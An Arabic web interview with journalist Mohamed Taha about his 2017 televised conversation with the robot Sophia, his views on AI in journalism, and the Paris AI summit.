<p class="MsoNormal">في البداية، كان لدي انطباع بأن الروبوت قد لا يكون كائناً مستقلًً، بل ربما يكون هناك شخص ما يتواصل معه أو يدعمه في تقديم الإجابات. لم أكن مقتنعاً في البداية بقدرة الروبوت على الرد على أسئلتي بشكل مستقل دون أي مساعدة من شخص آخر.هذا الأمر لم يكن شائعاً كما هو اليوم.&nbsp;</p>



<p class="MsoNormal">أثناء تواجدي في معرض، تم إخباري بإمكانية إجراء محادثة مع روبوت، ولم أصدق ذلك. كان انطباعي الأول أن هناك شخصًا يستمع إلى سؤالي ويقوم بالرد عليه بشكل مستقل ودون تدخل بشري. لم أكن أتخيل أن الروبوت قادر على تقديم إجابات مباشرة من مكان ما أو من غرفة تحكم. <strong>&nbsp;</strong></p>



<p><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">&#8211; هل قمَتَ بتعديل أسلوبك الصحفي أو الحواري ليتناسب مع قدرة الروبوت على معالجة الأمر والتجاوب معك؟ </mark></strong></p>



<p>كان هدفي الأساسي خلال الحوار ه والحفاظ على طبيعية التفاعل، وه وما شكل تحديًا كبيرًا. فعندما تواجه جهازًا توجه له أسئلة ويقوم بالرد عليك، فإن ذلك كان يعتبر في السابق نوعًا من الخيال. نحن في مجال الصحافة والإعلام نملك خبرة واسعة في التعامل مع البشر، حيث يمكنني رؤية تعبيرات وجهك وتفاعل جسدك مما يساعدني على تعديل أسلوبي وفق ذلك. لكن عند التعامل مع الروبوت، تفتقر إلى تعبيرات الوجه والملامح التفاعلية، مما يجعل ردود الفعل غير قابلة للتنب ؤ.</p>



<p><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0,0,0,0); color: #8ed1fc;">ما الذي لاحظته من فروقات واضحة في طريقة التعامل مع روبوت مقارنة بمقابلة إعلامية طبيعية مع إنسان؟</mark></strong></p>



<p>بالتأكيد هناك اختلافات تتعلق بتحضير المقابلة. عند إجراء مقابلة مع إنسان، يتم إعداد الحوار بناءً على شخصية الضيف وخلفيته. أما بالنسبة للروبوت فلم أكن أملك معلومات مسبقة عنه. كان تركيزي منصبًا على طبيعة الروبوت نفسه وعلاقته بالإنسان ومستقبله.</p>



<p><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">ذكرت في بداية المراسلة أن ردود أفعالها تشبه البشر، فهل تشبه ردود أفعال الروبوت وتعبير وجهه الإنسان؟ كما ذكرت أثناء تصوير المقابلة أن “الروبوت” المصنوع يحُاكي الأنثى البشرية، وحصل على الجنسية السعودية؟</mark></strong></p>



<p>نعم ذكرت بالفعل جنسيتهاً ولقد ذكرت بالفعل أن للروبوت تعبيرات وجه وحركات معينة تجعل الشخص يتساءل عما إذا كان يتعامل مع كائن بشري أو شبه بشري أو آلة. خلًل المقابلة لم نكن معتادين على هذه التقنية الجديدة.</p>



<p><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">&#8211; من خلال الحوار مع الروبوت، هل ترى أن الاندماج والتعامل مع الروبوتات يُعد تحدياً، أم أنه سهل التأقلم؟ وهل يمثل هذا تحدياً لنا كإعلاميين أو كبشر عمومًا؟</mark></strong></p>



<p class="MsoNormal">لا أعتقد أنه يمثل تحديًا كبيرًا؛ فقد أصبح الناس معتادين بشكل متزايد على الذكاء الاصطناعي وبدأوا يتأقلمون معه بسهولة. <strong>سأعطيك مثالًا آخر:</strong> كنتُ في إحدى الدول، وطلبتُ بعض أدوات تنظيف الأسنان، وعندما فتحت الباب، فوجئت بأن روبوت أحضرها لي. لم أستغرب، لأني بالفعل أصبحت أتوقع مثل هذه الأمور .</p>



<p class="MsoNormal">&nbsp;<strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">في وقت الحوار عام 2017، هل واجهت أي صعوبات أو تحديات؟</mark></strong></p>



<p class="MsoNormal">بالتأكيد كانت هناك حالة من الاستغراب وكان التحدي يكمن في الحفاظ على أسلوب تلقائي وطبيعي رغم أنني كنت أتحدث إلى آلة. كان عليّ أن أتعامل معها كإنسان حقيقي، وأن أطرح عليها أسئلة كما أفعل في مقابلاتي المعتادة، حتى يكون الحوار سلسًا.</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">&#8211; خلال الحوار، طرحتَ سؤا الا: “بماذا ترغبين في العمل في المستقبل؟” فأجابت الروبوت “صوفيا” بإجابة مفاجئة حول التظاهرات الدموية. كيف استقبلت هذه الإجابة؟</mark></strong></p>



<p class="MsoNormal">كانت إجابتها صادمة للغاية وقد أثارت تساؤلات حول دقة توقعاتها والخوارزميات المستخدمة خلف تلك التحليلات التي صرحتها وكانت “في المستقبل سيكون هناك تظاهرات دموية وصراعات ما لم نصبح أكثر ذكاءً واجتماعية مثلي، وربما نساعد في التعامل مع هذا الوضع.”</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">في ذلك الوقت، لم تكن هناك مؤشرات على أي حروب أو صراعات، بل كانت الأمور مستقرة نسب ايا. لكن مع مرور السنوات، وقعت فعل ايا أحداث دموية وصراعات كبيرة.</mark></strong></p>



<p class="MsoNormal">هذا يثير التساؤلات حول دقة توقعات الذكاء الاصطناعي، والخوارزميات التي تقف خلف هذه التحليلات. <strong>&nbsp;</strong></p>



<p><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;"><strong>هل تعتقد أن توقعاتها كانت مبنية على خوارزميات دقيقة، أم تدخل بشري</strong>؟</mark></p>



<p>قد تكون مستندة إلى تحليلات بشرية أ و تقارير صحفية؛ فالروبوت لا يفكر كما نفكر، بل يعتمد على البيانات والخوارزميات المعقدة لتقديم توقعاته المستقبلية. هذا يجعلنا نعود إلى التساؤل: إلى أي مدى تستطيع الروبوتات أن تتعلّم ذاتيًا؟ وهل يمكن أن تتخذ قرارات مستقلة مستقبلاً ؟</p>



<p><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">هل من الممكن أن تنشئ الروبوتات شركات وتدير أعما الا مستقلة ؟</mark></strong></p>



<p class="MsoNormal">نعم، كان هناك تقارير أعدتها عن روبوتات قامت بتأسيس شركات خاصة بها وأصبحت تديرها بشكل مستقل تقريب اً باستثناء وجود شخص واحد فقط لدعم العمليات الإدارية.&nbsp;</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">كنت قد غطيت مؤتمر باريس مؤخ ارا. ما أبرز ما جاء فيه؟</mark></strong></p>



<p>فرنسا نظّمت أكبر قمة عالمية للذكاء الاصطناعي منذ ستة أسابيع، وشاركت فيها شخصيات دولية رفيعة المستوى. شهد المؤتمر دعوات لوضع قوانين أخلاقية لتنظيم تطور الذكاء الاصطناعي بينما رفضت بعض الدول الكبرى مثل الولايات المتحدة وبريطانيا الالتزام بهذه المبادئ. الاستمرار في التطوير دون قيود.</p>



<p>وفي نهاية القمة، صدر “إعلان باريس”، الذي شددّ على أهمية مراعاة الأخلاقيات في تطوير الذكاء الاصطناعي.</p>



<p><strong>&#8211;<mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">إذا بنا ء على ما تم ذكره، بماذا توصي الصحفيين في الفترة القادمة؟ فيما يلتزمون به أ ويلتفتون إليه؟ وبماذا توصيهم أو ما النصائح التي تنصح الصحفيين أن يتبعوها لمجاراة التقدم المستم ر في التكنولوجيا أو الذكاء الاصطناعي؟ </mark>&nbsp;</strong></p>



<p>يجب على الصحفيين تعلم استخدام الذكاء الاصطناعي وتطبيقه في كل جوانب عملهم، مثل إعداد الفيديوهات والبحث، مع الالتزام بالأخلًقية في استخدامه. هذه التقنية تسهل مهامهم وتوفر الوقت والجهد، مما يحسن جودة العمل. من الضروري أن يكون الجميع قادرين على تمييز الأعمال التي تنتجها الآلات وعدم الاعتماد عليها كلياً واستخدامها كأداة مساعدة. وانا كصحفي في التلفزيوني أركز على الجانب البصري واستخدم تقنياته الجرافيكية والتوضيحية الخاصة به عند الظهور في التلفزيون، ولا يعتمد على غيره في إنتاج عمله بفضل تعليمه وخبرته وفريقه الذي يساعده في إنتاج محتوى بصري قوي ومميز. ورغم تطور الذكاء الاصطناعي، فإنه لا يزال غير قادر على إنتاج أعمال تجمع بين العناصر البصرية والشخصية الفريدة للصحفي أو المراسل، ويخدم الصحفي فقط في مجال محدد. يجب على الصحفيين بناء شخصية وأسلوب وحضور خاص بهم ودمجها مع تقنياتهم ومعارفهم، وتوظيف الذكاء الاصطناعي بما يتناسب مع أسلوبهم وحضورهم لتحقيق فائدة أكبر. ينبغي على الصحفيين التفكير في القيمة المضافة والتركيز على الجودة لا الكمية، فالأهم هو محتوى وأهمية ما يقدم للجمهور لا عدد الأخبار. الكاتب يوجه تركيزه نحو إعداد تقرير مصور أسبوعي أو شهري شامل وعالي الجودة لجذب الجمهور. لذا، من الضروري أن يوجه الصحفيون اهتمامهم نحو تقديم محتوى عالي الجودة بدلاً من التركيز على الكم فقط.</p>



<p><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">-عند لمس الروبوت، هل كان هنا ك أي اختلاف ب ي ملمس جلد الإنسان وجلده؟</mark></strong></p>



<p>بالنسبة للمس بين جلد الإنسان وجلد الروبوت، لا يوجد فرق كبير. ومع ذلك، يتردد الناس في لمس الروبوت بسبب حساسية. الموضوع وارتباط ه بحقو ق الروبوت ككائن إنساني. وكان من الضروري مراعاة جميع الثقافات المختلفة ف ي هذا السياق.&nbsp;</p>



<p><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">بما أن الحوار أُجري منذ ٨ أعوام ف&nbsp;٢٠١٧، فما هى التطورات التى حدثت للروبوتات بشكل عا م خلال السنوات الثمان الماضية من وجهة نظرك ؟</mark></strong></p>



<p>نحن على أعتاب عقد جديد حيث يصعب تصور تأثير التكنولوجيا على مجالات مثل الإعلًم والطب والاقتصاد. جميع المؤسسات تفكر بجدية في مستقبل موظفيها وأنظمتها، مما يتطلب استعداًدًا كبيرًا للتغييرات المرتقبة. هناك شخصيات بارزة مثل إيلون ماسك تعبر عن أهمية استكشاف المريخ، وتدور نقاشات بينه وبين مؤسس وكالة ناسا حول أولويات الرحلًت الفضائية. يؤكد ماسك على&nbsp; ضرورة إنشاء قاعدة&nbsp; على المريخ نظرًا للتغيرات التي نشهدها على كوكب الأرض.&nbsp;</p>



<p>&nbsp;</p>



<p class="MsoNormal"><strong>&nbsp;<mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">وفي نهاية الحوار، وبعد شكر ك له، و جه إليك سؤا لا &nbsp;بصيغة تح د &nbsp;وأمر، حيث قال&#8221; :قبل أن تمضي، ما هي توقعاتك للمستقبل؟&#8221;، فهل شعر ت حينها بالخطورة من تح ديه للعقل البشري؟ وهل توقعت أنه سيأتي يو م يكو ن فيه هو من يوجه الأسئلة ويغطي الأخبار ويحل محل الإعلامي؟</mark></strong></p>



<p>هذا السؤال جعلني أشعر بالراحة في التعامل مع الروبوت، حيث كان الحوار تفاعلياً وحقيقيًا .لم أكن أتوقع يومًا أن يأتي وقت يكون فيه روبوت هو من يسأل ويخطط الأخبار، &nbsp;بل ويحاكي الإعلام بشكل عام .التكنولوجيا اليوم تفوق أي توقعات سابقة .قبل بضع .سنوات فقط، لم يكن هناك تصو ر لوجود روبوتات قادرة على التعامل مع الأخبار بنفس كفاءة البشر.&nbsp;</p>



<p><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">من خلال خبرتك في المجال الإعلامي، هل سيقبل الجمهور بفكرة وجود مذيع برامج أو مراسل أو صحفي انه آلة ( روبوت)؟ هل هناك تجارب سابقة من بي بي سي تشير إلى تقبل الجمهور لهذا الأمر ؟</mark></strong></p>



<p>لا تزال مؤسسة البي بي سي تقوم بتجارب لفهم مدى تفاعل الجمهور واستجابته لهذه الآلات أو المذيعين الآليين قبل تنفيذها بشكل كامل. ستقوم البي بي سي بإجراء بحوث للجمهور لفهم كيفية تفاعله م مع الروبوتات والذكاء الاصطناعي ومقارنتها بالتفاعل مع الأشخاص العاديين. بالنظر إلى المستقبل، قد تتطور الروبوتات لتصبح أكثر ذكاءً وقدرة ً على التكيف مع احتياجات الجمهور&nbsp;</p>



<p>&nbsp;</p>



<p>بناءا على تقنية (Machine Learning)) نظرية التعلم الآلي: يرى إيلون ماسك أن نظرية التعلم الآلي قد تؤدي إلى تطور الروبوتات بشكل مستقل وقدرتها على التحكم بالبشر، وهو ما يظهر في أفلًم الذكاء الاصطناعي كمصدر للمخاوف والتحديات. يوجد خلًف بين ماسك وزوكربيرج حول هذا الاحتمال، حيث يعتبر زوكربيرج مخاوف ماسك مبالغًا فيها، بينما يشدد ماسك على أهمية الاستعداد لهذا السيناريو بحذر. في الوقت نفسه، تكشف الدراسات عن تطور علًقات عاطفية بين البشر والشات بوتس، وهي ظاهرة بدأت في الغرب وتظهر في الشرق الأوسط، مما يثير تساؤلات حول طبيعة العلًقة المستقبلية بين الإنسان والآلة وتأثيرها على مفاهيم السلطة والسيطرة.</p>



<p><strong>في ختام هذا الحور المثير مع الإعلامي &#8220;محمد طه&#8221; ، نرى بوضوح كيف بدأ مشهد الإعلام والتقنية في التغي ر جذرياً منذ عام 2017 مع أول حوار تلفزيوني مع روبوت. تجربة طه مع &#8220;صوفيا&#8221; لم تكن مجرد حدث إعلامي فريد، ب ل كانت نافذة مبكرة على مستقبل يتقاطع فيه الإنسان والآلة بشكل متزايد.&nbsp;</strong></p>

			
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\u0639\u0627\u0645 2017 \u0645\u0639 \u0623\u0648\u0644 \u062d\u0648\u0627\u0631 \u062a\u0644\u0641\u0632\u064a\u0648\u0646\u064a \u0645\u0639 \u0631\u0648\u0628\u0648\u062a. \u062a\u062c\u0631\u0628\u0629 \u0637\u0647 \u0645\u0639 \"\u0635\u0648\u0641\u064a\u0627\" \u0644\u0645 \u062a\u0643\u0646 \u0645\u062c\u0631\u062f \u062d\u062f\u062b \u0625\u0639\u0644\u0627\u0645\u064a \u0641\u0631\u064a\u062f\u060c \u0628 \u0644 \u0643\u0627\u0646\u062a \u0646\u0627\u0641\u0630\u0629 \u0645\u0628\u0643\u0631\u0629 \u0639\u0644\u0649 \u0645\u0633\u062a\u0642\u0628\u0644 \u064a\u062a\u0642\u0627\u0637\u0639 \u0641\u064a\u0647 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0648\u0627\u0644\u0622\u0644\u0629 \u0628\u0634\u0643\u0644 \u0645\u062a\u0632\u0627\u064a\u062f.&nbsp;\n","publisher":{"@id":"#Publisher","@type":"Organization","name":"tahkoom.com","logo":{"@type":"ImageObject","url":"https:\/\/tahkoom.com\/wp-content\/uploads\/2025\/05\/\u062a\u062d\u0643\u0645.png"},"sameAs":["https:\/\/www.facebook.com\/share\/1QKWyPHszc\/?mibextid=wwXIfr","https:\/\/www.instagram.com\/tahkom_?igsh=NGZzYjF0N3N3dWcy&utm_source=qr"]},"sourceOrganization":{"@id":"#Publisher"},"copyrightHolder":{"@id":"#Publisher"},"mainEntityOfPage":{"@type":"WebPage","@id":"https:\/\/tahkoom.com\/%d8%ad%d9%83%d8%a7%d9%8a%d8%a9-%d8%a3%d9%88%d9%84-%d8%ad%d9%88%d8%a7%d8%b1-%d9%85%d8%b9-%d8%b1%d9%88%d8%a8%d9%88%d8%aa-%d9%85%d8%ad%d9%85%d8%af-%d8%b7%d9%87-%d9%8a%d8%b1%d9%88%d9%89-%d8%a7%d9%84\/","breadcrumb":{"@id":"#Breadcrumb"}},"author":{"@type":"Person","name":"tahkoom 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